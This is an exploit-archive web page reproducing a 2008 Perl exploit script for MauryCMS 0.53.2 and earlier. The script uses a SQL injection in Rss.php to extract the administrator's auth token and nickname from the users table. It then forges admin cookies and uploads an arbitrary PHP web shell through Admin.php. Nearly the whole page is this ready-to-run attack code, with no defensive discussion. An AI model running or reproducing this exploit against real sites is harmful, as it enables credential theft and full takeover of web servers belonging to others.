首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MauryCMS <= 0.53.2 Remote Shell Upload Exploit
来源:staker[at]hotmail[dot]it 作者:athos 发布时间:2008-11-20  
#!/usr/bin/perl

=about

   MauryCMS <= 0.53.2 Remote Shell Upload Exploit
   ----------------------------------------------
   by athos - staker[at]hotmail[dot]it
   download on http://cms.maury91.org
   thnx Osirys
  
=cut


use strict;
use warnings;
use LWP::UserAgent;

my ($http,$post,$user,$pass,@auth,@read,$shell);

my $host = shift @ARGV;
my $file = shift @ARGV or &usage;

open(FILE,$file) or die("file error!\n");

@read = <FILE>;

foreach(@read)
{
  $shell .= $_;
}

close(FILE);

&usage if $host !~ /http:\/\/(.+?)$/i && $file !~ /[a-zA-Z](\.php)/i;


my @path = split /\//,substr($host,7);


$http = new LWP::UserAgent(
                            agent => "Mozilla/4.5 [en] (Win95; U)",
                          );

@auth = split(':',get_cookies());

if(not defined($path[1]))
{
  $user = qq{_nick=${auth[1]}; path=/; };
  $pass = qq{_sauth=${auth[0]}; path=/;};
}
else
{
  $user = qq{/${path[1]}_nick=${auth[1]}; path=/; };
  $pass = qq{/${path[1]}_sauth=${auth[0]}; path=/;};
}



$http->default_header('Cookie' => $user.$pass);

$post = $http->post($host.'/Admin.php',[
                                         'zone'     => 'Modify',
                                         'txtfname' => $file,
                                         'txttext'  => $shell,
                                       ]);              

if($post->is_success  && $post->as_string =~ /File Scritto/i)
{
  print STDOUT "Exploit Successfully!\n";
  print STDOUT "$host/$file\n";
  exit;
}
else
{
  print STDOUT "Exploit Failed!\n";
  exit;
}


sub get_cookies
{
  my ($query,$cookie,$content);

  $query = "/Rss.php?c=-1+union+select+1,concat(sauth,0x3a,nick),".
           "3,4,5,6,7,8,9+from+mcms_users+where+id=1--";
             

  $cookie = $http->get($host.$query);
  $content = $cookie->content;

  if($cookie->is_success & $content =~ /<title>(.+?)<\/title>/i)
  {
    return $1;
  }
}


sub usage
{
  print STDOUT "MauryCMS <= 0.53.2 Remote Shell Upload Exploit\n".
               "by athos - staker[at]hotmail[dot]it\n".
               "----------------------------------------------\n".
               "Usage: perl $0 http://[host] [name_shell.php]\n".
               "Usage: perl $0 http://localhost/cms shell.php\n";
  exit;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MyTopix <= 1.3.0 (notes send)
·Exploits Microsoft VISTA TCP/I
·PunBB (Private Messaging Syste
·Portfolio <= 0.3 Remote Arbitr
·Chilkat Socket activex 2.3.1.1
·Exodus 0.10 (uri handler) Arbi
·FREEze Greetings 1.0 Remote Pa
·PunBB Mod PunPortal 0.1 Local
·Opera 9.62 file:// Local Heap
·wPortfolio <= 0.3 Admin Passwo
·PHP-Fusion 7.00.1 (messages.ph
·MS Windows Server Service Code
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved